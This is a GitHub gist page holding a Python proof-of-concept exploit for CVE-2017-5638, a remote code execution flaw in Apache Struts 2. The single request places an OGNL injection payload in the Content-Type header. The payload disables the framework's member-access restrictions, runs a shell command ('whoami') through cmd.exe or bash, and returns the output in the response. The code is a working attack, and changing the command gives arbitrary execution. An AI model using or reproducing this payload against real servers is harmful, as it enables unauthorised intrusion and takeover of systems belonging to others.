Skip to content

Instantly share code, notes, and snippets.

@xsscx
Created March 10, 2017 02:09
Show Gist options
  • Save xsscx/01353a73bfdad357b21f488b3da641a0 to your computer and use it in GitHub Desktop.
Save xsscx/01353a73bfdad357b21f488b3da641a0 to your computer and use it in GitHub Desktop.
PoC for CVE-2017-5638 Apache Struts 2 Remote Code Execution in python
import requests
requests.get("https://target.action", headers={"Connection": "close", "Accept": "*/*", "User-Agent": "Mozilla/5.0 ", "Content-Type": "%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"})
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment